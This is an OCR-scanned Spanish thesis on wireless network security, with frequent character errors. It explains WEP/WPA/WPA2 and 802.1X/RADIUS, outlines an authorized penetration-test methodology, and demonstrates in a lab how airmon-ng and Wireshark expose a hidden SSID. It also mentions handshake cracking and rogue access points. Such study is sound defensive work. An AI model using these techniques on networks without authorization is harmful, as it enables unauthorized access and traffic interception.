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RESUMEN

El presente trabajo tiene como objetivo mostrar las debilidades que se
pueden encontrar en una red local inalambrica, para esto se demostrara
como operan algunas herramientas de auditoria de seguridad y la facilidad
con que ciertos métodos de seguridad poco confiables pueden ser eludidos o
vulnerados. Se analizardn y propondran algunas soluciones de seguridad
mas complejas orientadas a optimizar la seguridad y el control de acceso en
redes inalambricas. Finalmente, se mostrara el disefio e implementacién de

una solucion de seguridad basada en VPN + RADIUS EAP-TLS.

El capitulo 1 describe el proyecto, sus antecedentes, objetivos y metodologia.
El capitulo 2 explica de manera tedrica conceptos de seguridad en redes
inalambricas. En el capitulo 3 se describe el proceso de un test de
penetracion y sus diferentes fases. En el capitulo 4 se muestra el
funcionamiento de varias herramientas de auditoria y procesos especificos
para vulnerar algunos métodos de seguridad usando un escenario de
pruebas. El capitulo 5 da algunas recomendaciones para mejorar la
seguridad en un ambiente personal o de hogar y propone algunas de las
soluciones mas confiables de seguridad a nivel empresarial. Finalmente, en
el capitulo 6 se muestra el disefio e implementacion de un modelo de
seguridad usando VPN para el cifrado y certificados digitales para la

autenticacion de los usuarios.
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INTRODUCCION

En los ultimos afios hemos visto un acelerado crecimiento en el uso de redes
inalambricas, esto se debe al incremento de equipos portatiles y las ventajas
en la implementacion de estas redes como el hecho de no tener que instalar

cableado.

Actualmente, podemos observar que practicamente en toda empresa,
ademas del acceso por medios cableados, existen puntos de acceso
inalambricos. Esto incluso se ha propagado a los hogares, donde
proveedores de servicio de internet ofrecen de manera gratuita la instalacion

de ruteadores inalambricos.

A pesar de las multiples ventajas que ofrece una red inaldmbrica, la
utilizacién del aire como medio de transmisién ha creado un nuevo riesgo en

la seguridad que puede ser dificil de manejar.

La misma facilidad de instalacion y configuracién de estos equipos de acceso
inalambrico puede representar un problema, ya que usuarios con poca
experiencia se limitan a usar la configuracién predeterminada de fabrica que

generalmente no es la Optima en cuanto a seguridad.

En el caso de las empresas, la falta de conocimiento por parte de los
propietarios o el presupuesto para su implementacion pueden influir en que la

seguridad en estas redes no sea considerada de manera adecuada.
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El presente proyecto pretende mostrar los riesgos de seguridad que se
pueden encontrar en este tipo de redes y proponer algunas soluciones y
recomendaciones para mejorar significativamente la seguridad en el acceso

a redes inalambricas.



CAPITULO 1

1. PRESENTACION Y JUSTIFICACION DEL

PROYECTO

A continuacién se presentara un resumen de los principales aspectos del
proyecto como los antecedentes, la metodologia a emplear, los objetivos
principales y secundarios, asi como los resultados que se espera obtener

a lo largo del desarrollo del tema propuesto.



1.1. ANTECEDENTES

En la actualidad se ha incrementado el uso de dispositivos moviles
por lo que en gran parte de empresas e instituciones se han

implementado sistemas de acceso a la red por medio inalambricos.

Uno de los problemas en un escenario de red inalambrico es que se
maneja un medio compartido, lo que facilita la captura de informacién
ya que cualquier dispositivo que se encuentre dentro del rango del
alcance de la sefial puede acceder al medio. Otro problema es la
falta de conocimiento del usuario final, que es aprovechado por los
atacantes usando métodos como la creacion de redes falsas que les

permiten robar informacion confidencial o claves de acceso a la red.

Estos problemas hacen que la seguridad al momento de hacer una
implementacion de red inalambrica sea de especial importancia. Sin
embargo, muchas de las implementaciones de redes inaldmbricas
actuales no cuentan con el nivel de seguridad necesario de acuerdo

a la informacion que manejan.

1.2. OBJETIVO GENERAL

Identificar las vulnerabilidades existentes en una infraestructura de
red inalambrica e implementar un modelo de seguridad que mitigue

estas vulnerabilidades.



1.3. OBJETIVOS ESPECIFICOS

Describir la metodologia para un test de penetraciébn en redes

inaldmbricas.

- Implementar un escenario para pruebas y efectuar un test de
penetracion.

- Detectar e identificar las vulnerabilidades presentes en las redes
inaldmbricas.

- Mostrar diferentes modelos de seguridad, a nivel personal y

empresarial.

Implementar un modelo de seguridad a nivel empresarial.

1.4. JUSTIFICACION

La informaciéon que se maneja actualmente de manera digital y que
pasa a través de una red informatica incluye informacion privada de
los usuarios y documentos confidenciales de una organizacion. Sin
las medidas de seguridad adecuadas esta informacion podria quedar
expuesta poniendo en riesgo la privacidad de las personas u

organizaciones.

En el caso de las redes inalambricas, debido a los problemas de
seguridad propios de esta tecnologia, es necesario usar métodos de
seguridad y control de acceso mas robustos que en una red

cableada. Una solucién éptima para el acceso a una red inalambrica



deberia incluir autenticacion y cifrado de datos para de esta manera
mitigar posibles ataques y evitar accesos no autorizados. Ademas, se
debe tomar en cuenta el nivel de acceso que se les otorga a los

usuarios.

1.5. METODOLOGIA

El proyecto constara de dos fases. La primera fase estara enfocada
en la demostracion de las vulnerabilidades existentes en la seguridad
de las redes inalambricas y la segunda en el estudio e
implementacion de métodos de seguridad que permitan evitar las

vulnerabilidades demostradas en la fase anterior.

Para la primera fase se implementara un escenario con maquinas
virtuales y equipos de red en donde se realizaran pruebas que
permitan comprobar las vulnerabilidades a las que podria estar
expuesta una red inalambrica, para ello se usaran varias

herramientas de auditoria de redes.

Luego de obtener los resultados de estas pruebas se procedera a la
segunda fase, donde se determinaran los méetodos de seguridad que
permitan una solucion confiable y adecuada de acuerdo al nivel de
seguridad requerido por la infraestructura de red. Al igual que en la
primera fase, se implementara la solucion con la ayuda software de

virtualizacion y equipos de red.



1.6. RESULTADOS ESPERADOS

Detectar el nivel de seguridad y las vulnerabilidades existentes en
diferentes esquemas de seguridad de redes inalambricas. Ademas
se implementara un esquema de seguridad a nivel empresarial que

permita mitigar estas vulnerabilidades.



CAPITULO 2

2. SEGURIDAD EN REDES INALAMBRICAS

La naturaleza de las redes inaldmbricas las hace mas susceptibles a ser
atacadas que las redes cableadas, debido a que estas usan como medio
de transmision el aire que es un medio compartido. Por esto es importante

establecer mecanismos de seguridad al momento de implementarlas.
2.1. TIPOS DE AUTENTICACION

Para que un cliente tenga acceso a una red o un punto de red, es
necesario realizar el proceso de autenticacion que consiste en

verificar la identidad de un cliente previo a otorgarle dicho acceso.



Existen diferentes tipos de autenticacion de acuerdo al nivel de

seguridad que requiera la infraestructura de red:

- Autenticacion Abierta
- WEP

-  WPA-Personal

-  WPA2-Personal

-  WPA-Enterprise

-  WPA2-Enterprise

2.1.1. Autenticacion abierta

La autenticacién abierta permite el acceso a la red a cualquier
dispositivo, de esta manera cualquier dispositivo que conozca

el SSID del punto de acceso puede obtener acceso a la red.

1.- Cualquier estacion inalambrica puede enviar una peticion

para la autenticacion

2.- Una estacion puede enviar una trama de administracion de
autenticacion que contiene su identidad para autenticarse y

conectarse

3.- El AP verifica el SSID del cliente y en respuesta envia una

trama de verificacion de autenticacion



4.- Una vez que la verificacion ha sido realizada se conecta a

una red o a una estacién inalambrica.

2.1.2. WEP

Es un protocolo de seguridad en una red inalambrica. Este tipo
de seguridad esté obsoleta ya que no ofrece una gran capa de
seguridad en ninguna de las fases de autenticacion,

confidencialidad e integridad.

Al usar la misma contrasefla para todos los usuarios y
estaciones no se identifica al usuario que se conecta, ademas
de dar acceso a cualquier usuario con la misma contrasefia.
Falla en brindar integridad, al enviar informacion en texto plano
gue puede ser analizada para obtener la clave de cifrado. En el
caso de la integridad, WEP proporciona el mecanismo CRC-
32, que se ha demostrado que es posible modificar parte del
mensaje y a su vez el CRC lo que permitiria modificar la
informacion que viaja en el mensaje sin que el destino se

percate de ello.

Podemos encontrar varios problemas en el protocolo WEP que
lo hacen vulnerable. Uno de ellos es el uso de una clave
estatica, esto permite que esta pueda ser determinada con la

captura de una gran cantidad de paquetes. El vector de



inicializacion (1V), que es el valor aleatorio usado para generar
la llave de cifrado, es enviado en texto plano al cliente ademas
de ser demasiado corto (24 bits) lo que disminuye el tiempo y
la cantidad de paquetes necesarios para descifrar la clave a

partir de este. [1]

2.1.3. WPA-Personal

WPA fue creado para corregir los problemas de seguridad que
hacian vulnerable a WEP. Utiliza claves de codificacion de 128
bits y claves de sesién dindmica para garantizar la privacidad y
seguridad de la red inalambrica. La versién Personal de WPA
requiere la configuracion manual de una clave pre-compartida
(PSK) en el punto de acceso y los clientes. La misma
contrasefa utilizada en el punto de acceso debe utilizarse en
todos los demas dispositivos inaldmbricos que tienen acceso a
la red. La seguridad depende de Ila complejidad vy
confidencialidad de la contrasefia, cuanto mas larga y
compleja sea la contrasefia, mas robusta sera la seguridad de
la red inalambrica. WPA fue creado como una medida
intermedia para ocupar el lugar de WEP mientras 802.11i era
finalizado por lo que no implementa el estandar IEEE 802.11i

en su totalidad. [2]
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2.1.4. WPA2-Personal

WPA2 es una mejora de WPA que corrige algunas
vulnerabilidades detectadas en WPA e implementa el estandar
IEEE 802.11i completo. Al igual que WPA-Personal requiere
una clave pre-compartida (PSK) en el punto de acceso y los

clientes. [2]

La principal diferencia entre WPA y WPA2 son los tipos de
cifrados que utilizan, WPA utiliza un tipo de cifrado conocido
como TKIP mientras que WPAZ2 utiliza el cifrado AES, aunque

por retro compatibilidad también soporta el uso de TKIP. [3]

Existe la posibilidad de capturar el handshake que se
intercambia durante el proceso de autenticacion en una red, y
obtener las credenciales de los usuarios mediante ataques de
diccionario o fuerza bruta. Se puede usar la GPU para acelerar
el proceso de obtencion de contrasefia con seguridad WPA2-

PSK.

2.1.5. WPA-Enterprise

La version Empresarial de WPA, ofrece un control
individualizado y centralizado sobre el acceso, cuando los

usuarios tratan de conectarse a la red, necesitan presentar sus
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credenciales de acceso al sistema. WPA-Enterprise verifica los
usuarios de red mediante un servidor de autenticacibn como

RADIUS. [2]

2.1.6. WPA2-Enterprise

WPAZ2-Enterprise es una mejora de WPA e implementa todo el
estandar IEEE 802.11i completo. Al igual que el WPA-
Enterprise, verifica los usuarios mediante un servidor de

autenticacion.

2.2. AUTENTICACION 802.1X

El estandar 802.1x es una arquitectura de control de acceso para
redes inalambricas el cual hace uso de certificados digitales para
proporcionar a los usuarios los servicios de autenticacion y
autorizacion. Aqui intervienen 3 entidades que son el cliente, el punto
de acceso y el servidor de autenticacion. Al usuario se le concede un
certificado digital que permitir4 realizar la autenticacion y de esta

manera hacer uso de la red. El proceso esta basado en 3 fases:

- Autenticacion.- Cuando el cliente entra en el area de
cobertura, el punto de acceso pide la identidad y el cliente
se la proporciona, luego se realiza el proceso de conexién

donde los extremos se autentican mutuamente
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- Autorizacion.- El cliente le indica al servidor de
autenticacion el tipo de conexion que desea, el ancho de
banda y el tiempo que va a estar conectado, asi como los
certificados los cuales demuestran que el usuario esta
autorizado para el uso de la red y los privilegios que posee;
en caso de haber algun problema se desautoriza al cliente.

- Distribucién de clave.- El servidor de autenticacion le
pasa al punto de acceso la clave que debe utilizar con el

cliente asi como el tipo de servicio.

Esto se hace a través del uso de un servidor de autenticaciéon como
RADIUS. El 802.1x se basa en el protocolo EAP (Protocolo de
autenticacion extensible), definido por el IETF. Este protocolo se usa

para transportar la informacion de identificacién del usuario.

2.2.1. Funcionamiento de RADIUS

RADIUS (Remote Authentication Dial-In User Services) es un
protocolo de autenticacion ampliamente utilizado que permite
tener la autenticaciéon, la autorizacion y la auditoria
centralizadas para el acceso de red. En la figura 2.1 se puede
observar un ejemplo de infraestructura RADIUS con sus
correspondientes elementos. Desarrollado inicialmente para

acceso remoto dial-up, RADIUS es soportado actualmente por
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servidores VPN, puntos de acceso inalambrico, conmutador

Ethernet, acceso DSL y otros tipos de redes de acceso. [4]

A pesar de que RADIUS originalmente soporte esquemas de
autenticacion como PAP, CHAP o EAP, en el caso de la
autenticacion 802.1x solo soporta EAP [5]. Adicionalmente, se
pueden encontrar servidores proxy RADIUS; Un proxy
RADIUS es un equipo que remite mensajes RADIUS entre

clientes RADIUS, servidores RADIUS u otros proxies RADIUS.

[6]
Punto de Acceso Inalambrico

Cliente Inaldmbrico (Servidor de acceso)
(Cliente de Acceso)

-

Servidor VPN Servidor RADIUS

(Servidor de Acceso)

Switch con autenticacion 802.1x
Cliente con conexion cableada (Servidor de Acceso)
(Cliente de Acceso)

///°/j

ay

Cliente VPN
(Cliente de Acceso)

Figura 2.1 - Elementos de una infraestructura RADIUS
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Una infraestructura RADIUS esté formada por:

- Clientes de acceso.
- Servidores de acceso (clientes RADIUS)

- Servidores RADIUS.

Un servidor de acceso envia las credenciales de usuario,
enviadas por un cliente de acceso, y la informacion de los
pardmetros de conexién en forma de mensaje RADIUS al

servidor RADIUS.

El servidor RADIUS recibe y procesa las solicitudes de
conexién enviadas por el servidor de acceso. De acuerdo con
un conjunto de reglas y la informacion de la base de datos de
cuentas de usuario, el servidor RADIUS autentica y autoriza la
conexién, y devuelve un mensaje de aceptacion o rechazo de
acceso. El mensaje de aceptacion de acceso puede contener
restricciones de conexion que son implementadas por el
servidor de acceso durante la conexion. De acuerdo a la
respuesta recibida por el servidor RADIUS, el servidor de

acceso concede o no el acceso al cliente de acceso.
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2.2.2. Protocolo EAP

El protocolo Protocolo de Autenticacion Extensible (EAP) es
uno de los elementos basicos de 802.1x, en una extension del
protocolo punto a punto (PPP) utiliza métodos de autenticacion
arbitrarios que utilizan intercambios de credenciales e
informacion de longitudes arbitrarias y gestiona la contrasefa

con mecanismos de desafio-respuestas.

El protocolo EAP opera basado en 3 componentes:

- El autenticador (el punto de acceso)
- El solicitante (el software cliente)

- El servidor de autenticacion

El autenticador es unos cortafuegos basicos que actia como
intermediario entre el usuario y el servidor de autenticacion.
El usuario en este sistema se llama solicitante. El
autenticador es el que le otorga o deniega el acceso a la red
basado en la respuesta obtenida del servidor de autenticacion.
Cuando se trata de una red inalambrica, el punto de acceso

actia como autenticador. [7]
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2.2.3. Métodos de autenticacion EAP

EAP es una estructura de soporte, no un mecanismo
especifico de autenticacibn. EAP provee algunas funciones
comunes Yy negociaciones para el o los mecanismos de
autenticacion escogidos. Estos mecanismos son llamados
métodos de autenticacion EAP, de los cuales se conocen

actualmente unos 40. [8]

Los principales métodos de autenticacion EAP usados en

redes inalambricas son:

TLS (Seguridad de la Capa de Transporte)

- TTLS (Seguridad de la Capa de Transporte
Tunelizada)

- PEAP (Protocolo de Autenticacion Extensible

Protegido)

LEAP (Protocolo Ligero de Autenticacion Extensible)

TLS: es un sistema de autenticacion fuerte basado en
certificados digitales, tanto del cliente como del servidor, es
decir, requiere una configuracion PKI (Infraestructura de Clave

Pulblica) en ambos extremos.
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TTLS: se basa en una identificacion de usuario y contrasefa
gue se transmiten cifrados mediante TLS. Es decir el cliente
utiliza EAP-TLS para validar el servidor y crear un tunel TLS
cifrado entre el cliente y el servidor para transmitir el nombre
de usuario y la contrasefia. El cliente puede utilizar otro
protocolo de autenticacion. A diferencia de EAP-TLS solo

requiere un certificado de servidor.

PEAP: es similar a EAP-TTLS, crea un tunel TLS para
proteger otros métodos de autenticacion. La principal
diferencia con EAP-TTLS es que PEAP solo permite otros
métodos de autenticacion EAP, como MS-CHAPV2, a través
del tanel TLS creado, mientras EAP-TTLS utiliza el tanel para
ejecutar métodos de autentificacion no implementados en

EAP. [9]

LEAP: es un protocolo de autenticacion ampliable desarrollado
por Cisco que proporciona un mecanismo de autenticacion
desafio-respuesta y permite la asignacion de claves dinamica.

[10]

2.3. TIPOS DE CIFRADO DE DATOS

Los protocolos de cifrado son usados para producir las claves que

cifraran los datos durante la comunicacion entre los dispositivos de
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una red. El objetivo de estos es generar claves temporales de

manera que no puedan ser descifradas por un atacante al capturar

una gran cantidad de paguetes. Esto se consigue cambiando la clave

usada cada cierta cantidad de paquetes impidiéndole a un atacante

obtener la suficiente cantidad de paquetes para descifrar la clave.

2.3.1. TKIP

2.3.2.

Es un protocolo de seguridad usado en WPA para mejorar el
cifrado de datos en redes inalambricas.. Debido a que las
claves estan en constante cambio, ofrecen un mejor nivel de

seguridad para la red. [11]

CCMP

CCMP es un protocolo de cifrado de IEEE 802.11i creado para
reemplazar a TKIP. CCMP emplea el algoritmo de seguridad
AES (Advanced Encryption Standard). AES es un esquema de
cifrado por bloques adoptado como un estandar de cifrado por
el gobierno de los Estados Unidos. AES es usado por WPA2 y
ofrece un cifrado méas seguro que TKIP, ademas de requerir
menos procesamiento y ancho de banda. [12]. En la Tabla 1 se

muestra un resumen comparativo de los tipos de cifrados.
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pigorimo | L1 | rama | Lonaud | Mecanisme de
cifrado integridad de integridad
WEP | RC4 40/ 104-bit | 24 - bits | Ninguna CRC -32
TKIP | RC4 128 - bits 48 - bits | 64 - bits Algoritmo Michael
CCMP | AES 128 - bits 48- bits 128 - bits CBC-MAC

Tabla 1 - Comparacion de Tipos de Cifrado




CAPITULO 3

3. METODOLOGIA DE UN TEST DE PENETRACION A

UNA RED INALAMBRICA

Un test de penetracion es un conjunto de metodologias y técnicas que
permiten determinar las vulnerabilidades de un sistema. Aunque la parte
principal de un test de penetracion es la simulaciébn de un ataque para
determinar el nivel de seguridad de una red, es necesario que este
procedimiento se lleve a cabo siguiendo varias etapas para que sea

completado con éxito. Esto incluye las siguientes etapas:

- Planeacion
- Descubrimiento
- Ataque

- Presentacion de informe
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3.1. PLANEACION

Esta fase incluye el alcance de la evaluacién, la estimacién del
esfuerzo y la legalidad. En primer lugar el cliente contrata al auditor
de seguridad para definir los pardmetros sobre los cuales se realizara
el test de penetracion. Esta fase es denominada “Alcance de la
evaluacion”. Aqui se definira la ubicacion donde se realizara el test
de penetracién y el area total de las instalaciones. Es importante
ademas conocer el numero de puntos de acceso y clientes
inaldmbricos. Adicionalmente se podria solicitar una lista estos
dispositivos (tanto clientes como puntos de acceso) con sus
respectivas direcciones MAC que permita identificarlos en busca de
dispositivos desconocidos al momento de realizar la auditoria de la
red. Finalmente se establecera el procedimiento a realizar en caso de

encontrarse con una vulnerabilidad en el sistema.

Una vez que el auditor tenga claro el alcance que tendra su trabajo,
éste debe estudiar los requerimientos del cliente para determinar la
profundidad del test de penetracion. Ya con conocimiento de los
objetivos a cumplir como parte del test de penetracién, el auditor
procedera a realizar una estimacion de las horas que se requieren
para completar las pruebas y como estaran distribuidas a lo largo de
los dias de los que se dispone para el trabajo. Esta fase se denomina

“Estimacion del esfuerzo”.
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Las pruebas de penetracibn son un asunto serio por lo tanto, es
importante tener en cuenta los aspectos legales al momento de
realizar una auditoria de seguridad. Dentro de la planeacion esto es
denominado “Legalidad”. De parte del auditor, es imprescindible
obtener un acuerdo legal con el cliente que garantice que el auditor
de seguridad o la empresa encargada de la auditoria no son
responsables de los dafios resultantes de esta prueba. Los clientes
en su lugar pueden requerir que el auditor firme un acuerdo de
confidencialidad para garantizar que los datos que se rednan y los
resultados de las pruebas de intrusién sean privados y no puedan ser
revelados a terceros. Ademas, en el caso del auditor, se debe ser
consciente de las leyes locales que pudieran aplicarse como los
canales y niveles de potencia permitidos. Es importante asegurarse
de no romper ninguna de las leyes locales durante el test de

penetracion [13]
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3.2. DESCUBRIMIENTO

En esta fase, vamos a explorar las redes inalambricas y encontrar
diferentes puntos de acceso y clientes en los alrededores. Para esto

realizaremos los siguientes pasos:

Paso 1.- Crear una interfaz en modo monitor usando una tarjeta
inalambrica que tenga dicha capacidad o caracteristica. La figura 3.1
muestra un ejemplo de configuracion de una interfaz en modo

monitor.

~ w | ¥ root@bt: ~
File Edit View Terminal Help
root@bt:~# [ifconfig wlanl up |

Levantamiento de-interfaz
inalambrica

root@bt:~# lairmon-ng start wlanl] Levantamiento de interfaz
monitor

Found 2 processes that could cause trouble.
[T airodump-ng, aireplay-ng or airtun-ng stops working atter
A short period of time, you may want to kill (some of) them!

PID MName

1232 dhclient3

1289 dhclient3

Process with PID 1232 (dhcliEnt3) is running on interface wlan@

Intertace Chipset Driver

wWlanl Realtek RTLS187L rtlgls7 - [phy3]
(monitor mode enabled on mon@)

Wland Intel 1830 iwlwifi - [phy@]

Figura 3.1 - Creacién de interfaz modo monitor
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Paso 2.- Usar airodump-ng para iniciar la exploracion del espacio

aéreo.

Paso 3.- Hay que desplazarse por las instalaciones para obtener

mayor numero de clientes y puntos de acceso como sea posible.

Paso 4.- Solicitar al administrador del sistema de la empresa una lista
de direcciones MAC para todos los puntos de acceso y clientes

inalambricos. Esto nos ayudara en la fase de ataque [13]

3.3. ATAQUE

Esta es la fase principal del test de penetracion donde no solo se
detectaran las vulnerabilidades de la red, sino también se tratara de
determinar si existen intentos de comprometer la red que se estén
llevando a cabo actualmente. Este procedimiento debe ser llevado a

cabo complementando los siguientes puntos:

- Buscar Puntos de Acceso Falsos: usando la informacion
gue tenemos acerca de la red, se procedera a encontrar e
identificar los puntos de acceso cercanos a la empresa en
busca de puntos de acceso con nombres similares o
iguales que no pertenecen a la empresa y son colocados
por un posible atacante para engafar a los usuarios para

gque se conecten a ellos.
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Buscar clientes no autorizados: se buscara equipos
desconocidos que estén conectados a la red empresarial.
Encontrar alguno puede significar que un usuario esta
usando equipos externos a la empresa para conectarse o
gue un usuario no autorizado ha obtenido acceso a la red.
Romper el cifrado: se procedera a capturar y analizar el
trafico de red inalambrico para luego aplicar técnicas de
fuerza bruta o ataques de diccionario en un intento de
obtener la clave de acceso a la red. Esto permitira
determinar la fortaleza de la contrasefia y la configuracion
seguridad de la red inalambrica.

Penetrar en la infraestructura: de haber obtenido acceso
a la red en los procesos anteriores, se determinara qué tipo
de informacién se puede obtener o que dafio se puede
causar al acceder a la red.

Comprometer a los clientes: en esta etapa se buscara
forzar a un cliente a conectarse a un punto de acceso falso

creado por nosotros.
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3.4. PRESENTACION DE INFORME

Una vez que se han encontrado todas las vulnerabilidades de
seguridad, se debe informar a la empresa. La estructura del reporte
puede variar, sin embargo, debe contener minimo los siguientes

datos [13]:

- Descripcion de la vulnerabilidad

- Gravedad

- Dispositivos afectados

- Tipo de vulnerabilidad (software/hardware/configuracién)
- Soluciones provisionales

- Remediacion

Los niveles de gravedad es un aspecto importante del informe, ya
gue son una guia que permite conocer rapidamente la importancia de
una vulnerabilidad o incidente de seguridad y el tipo de medidas a
tomar para solucionarlo. Podemos encontrar una tabla de los niveles

de gravedad basicos en un informe en el Anexo 3.



CAPITULO 4

4. VULNERABILIDADES EN REDES INALAMBRICAS

Cuando nos referimos a vulnerabilidad en redes inaldmbricas no es otra
cosa que una debilidad en la red que permite que usuarios
malintencionados puedan violar la integridad, disponibilidad o

confidencialidad de la misma.
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4.1. ESCENARIO DE PRUEBAS

Para realizar las pruebas necesarias y determinar las
vulnerabilidades en una red inalambrica, se ha creado un ambiente

de laboratorio, que consta de los siguientes elementos:

- 1 Equipo portatil con el sistema para las auditorias de
seguridad.
- Equipos clientes ( Smartphones, laptops )

- 1 Ruteador inaldmbirico.

La figura 4.1 muestra el escenario empleado para realizar pruebas

para demostrar las fallas de seguridad en las redes inalambricas.

<<i>>
....... > 3 \\n ‘ﬂ I

D Smart Phone
v

o=

Laptop

\(( )

Figura 4.1 - Escenario de pruebas
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4.2. EVALUACION Y SELECCION DE HERRAMIENTAS PARA

ANALISIS DE VULNERABILIDADES EN UNA RED INALAMBRICA.

Se han desarrollado un gran ndmero de herramientas orientadas a

facilitar la evaluacion y auditoria de seguridad de redes y sistemas

informéticos, incluso se pueden encontrar sistemas operativos

completos que recopilan todas las herramientas necesarias para esta

labor. A continuacion revisaremos algunas de las distribuciones de

Linux mas reconocidas para la auditoria de redes inalambricas.

Beini

Es una distribucibn de Linux para la auditoria de redes
inalambricas basada en Tiny Core Linux. Se destaca por su
reducido tamafio y por incorporar herramientas con interfaz
grafica. Es considerado un sistema operativo para
principiantes debido a su facilidad de uso. Carece de

herramientas avanzadas, lo que limita su efectividad.

Wifiway

Es una distribucién disefiada para la auditoria de seguridad en
redes inaldmbricas, bluetooth y RFID. A diferencia de otros

sistemas, este no esta basado en otras distribuciones sino que

fue desarrollado desde cero.
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- Backtrack

Es un sistema operativo basado en Ubuntu derivado de dos
distribuciones orientadas a la seguridad, el Auditor y el WHAX.
El sistema incluye una amplia gama de herramientas que
pueden ser usadas para realizar auditorias de seguridades a

nivel empresarial.
- Kali Linux

Es una distribucion basada en Debian, es la evolucion del
sistema Backtrack. Kali Linux fue disefiado para la auditoria de
seguridad informética en general. Admite la re-compilacién del
ndcleo lo que permite agregar controladores, parches o nuevas

funcionalidades que no estén incluidas en el kernel original.

En un comienzo se descart6 el uso de Beini por no ser una
herramienta de uso profesional. Si bien es efectiva en algunos
procesos sencillos, esta no permite demostrar detalladamente el

procedimiento realizado por las herramientas de auditoria.

Wifiway es un sistema totalmente enfocado en la auditoria de redes
inalambricas, cuenta con todas las herramientas necesarias y seria

una eleccion valida para un proceso de analisis de vulnerabilidades
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en una red inalambrica; sin embargo, hemos optado por Backtrack 5

R3 principalmente por contar con un mayor soporte y documentacion.

Aun cuando su desarrollo se haya detenido el afio 2013, debido a la
aparicion de Kali Linux, la cantidad de informacion y documentacion
disponibles es mayor a la de otros sistemas. Ademas, aun cuenta
con soporte por parte de los desarrolladores y la comunidad en sus

foros oficiales.

En el proyecto realizado no se us6 Kali Linux porgue estaba ain en
fase de pruebas y por no contar con la sufriente informacion en los
foros sobre su implementacion en auditorias de redes. La falta de
informacion sobre el funcionamiento con ciertas tarjetas de redes

también fue una limitante para el uso del sistema operativo.

4.3. EVASION DE LA AUTENTICACION INALAMBRICA

Este tipo de ataques busca obtener acceso a la red inaldmbrica de
manera fraudulenta evadiendo los esquemas de seguridad mas
débiles encontrados en redes inalambricas. El porcentaje de éxito de
estos ataques es del 100%, ademas de tomar unos pocos minutos y

ser sencillos de realizar.
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4.3.1. Descubrir un SSID oculto

La configuracion predeterminada de todos los puntos de
acceso o ruteadores inalambricos permiten la transmisién del
identificador de red llamado SSID, que a su vez permite que
clientes que se encuentren en un area cercana se conecten.
Los administradores de red habilitan en el punto de acceso la
opcion “SSID no visible”, para que el equipo no emita su SSID

y solo los usuarios que lo conozcan puedan conectarse.

Este método de seguridad implementado no ofrece una
proteccién robusta ya que existen métodos para descubrir el
SSID de una red. Un punto de acceso configurado para que su
SSID no sea visible puede ser detectado facilmente por medio
de cualquier sistema o software de auditoria de redes. Sin
embargo, un equipo no podra realizar una conexién hacia el
punto de acceso normalmente sin conocer el SSID y la

contrasefa respectiva.

En la figura 4.2 se puede observar como en sistemas
operativos como Linux es facilmente visible la informacion de
la red, aun cuando el identificador se encuentra oculto.
Ademas, es posible observar informacion tal como el tipo de

seguridad, el canal y el porcentaje de sefial. Otro método para
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la identificacion de redes inalambricas es mediante el uso de
software en conjunto con hardware que permita realizar un
escaneo completo de todos los puntos de accesos

inalambricos disponibles para la conexion.

<hidden> 95% Unsecured Channel 11
[ Automatically connect to this network

| Connectl |Pmperties |

Figura 4.2 - Administrador de redes inalambricas Linux

La figura 4.3 muestra el resultado de este comando, donde
podemos visualizar la siguiente informacion que se serd de

utilidad para realizar el ataque a la red.

- Direccion MAC del Punto de Acceso
- Canal de trasmision de informacion
- Frecuencia en la que trabaja el AP

- Calidad de la sefal

- Eltipo de cifrado configurado

- Identificador de la red: SSID

- Velocidad permitida de trasmision
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Cell 15 - Address: BB:A3:86:5A:2C:88
Channel:11
Frequency:2.462 GHz (Channel 11)
Quality=70/780 Signal level=-36 dBm
Encryption key:off
ESSID: ™"
Bit Rates:l Mb/s; 2 Mb/s; 5.5 Mb/s; 1l Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s
Bit-Rates:24 WMb/s; 36 Mb/s: |48/Mb/s: |54 Mb/s
Mode :Master

Figura 4.3 - Resultado de escaneo de redes disponibles

Con el comando <airmon-ng start wlan1>, se activa el modo
monitor de las tarjetas inalambricas. También puede usarse
para detener las interfaces y salir del modo monitor. Si
escribimos el comando <airmon-ng> sin pardmetros veremos
el estado de nuestras tarjetas. [13] La salida de este comando

se puede observar en la figura 4.4

Interface Chipset Driver

wlanl Realtek RTLELBTL rtl8187 - [phy3]
(monitor mode enabled on mond)

wlang Intel 1630 iwlwifi - [phy@]

Figura 4.4 - Interfaz de red inaldmbrica: modo monitor

Wireshark es el programa que se utilizd en el andlisis de los

paquetes capturados por la interfaz configurada en modo
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monitor. Entre los paquetes que captura el Wireshark esta el

nombre de la red que se encuentra oculta (SSID).

En la figura 4.5 se muestra una consola de Wireshark
configurada para que desde la interfaz mon0O (monitor) capture
todo el trafico generado entre ambas partes — Cliente — Punto
de Acceso. El proceso de descubrimiento del SSID puede
tardar varios minutos ya se debe esperar que un cliente se

conecte a la red.

¥ Capturing from mon0 [ eshark 1.8.3 (SVN Rev Unknown from unknown)]

No. Time Source Destination Protocol  Length | Info 3
30986 475.6820160(08:63:61:cl:ee: B¢ Broadcast 802.11 344 Beacon frame, SN=1433, FN=0, Flags=...
30987 475.6871850( ZeusWire_01:48:7e (RA) 802.11 48 Acknowledgement, Flags=........ C
30988 475.6984900(0a:19:5e:b6:29:d9 Broadcast 802.11 173 Beacon frame, SN=1228, FN=8, Flags=...
30989 475.6997650(0e:19:5e:b6:29:d9 Broadcast 802.11 156 Beacon frame, SN=1229, FN=0, Flags=...
30990 475.7013380(3e:19:5e:b6:29:d9 Broadcast 8082.11 201 Beacon frame, SN=1230, FN=8, Flags=...
30991 475.7056336(HuaweiTe Bf:T3:6cC Broadcast 892.11 343 Beacon frame, SN=3934, FN=0, Flags=...
30992 475.7091920(D-LinkIn_5a:2c:88 Broadcast 802.11 196 Beacon frame, SN=3283, FN=8, Flags=...
38993 475.7231220(0c:84:dc:64:be:87 Broadcast 862.11 211 Beacon frame, SN=2211, FN=0, Flags=...
38994 475.7248276(HonHaiPr_ce:87:7b Broadcast 802.11 211 Beacon frame, SN=3835, FN=0, Flags=...
30995 475.7689090( ZeusWire 01:48:7e (RA) 802.11 40 Acknowledgement, Flags=........ C
30996 475.7844080(08:63:61:cl:ee: 8¢ Broadcast 8e2.11 344 Beacon frame, SN=1434, FN=0,

30997 475.7993120(06:19:5e:b6:29:d9 Broadcast 882.11 159 Beacon frame, SN=1231, FN=0,
— >

+| Frame 1: 266 bytes on wire (2080 bits), 260 bytes captured (2080 bits) on interface @
+/ Radiotap Header v@, Length 26

+| IEEE 802.11 Beacon frame, Flags: ........ C

+| IEEE 882.11 wireless LAN management frame

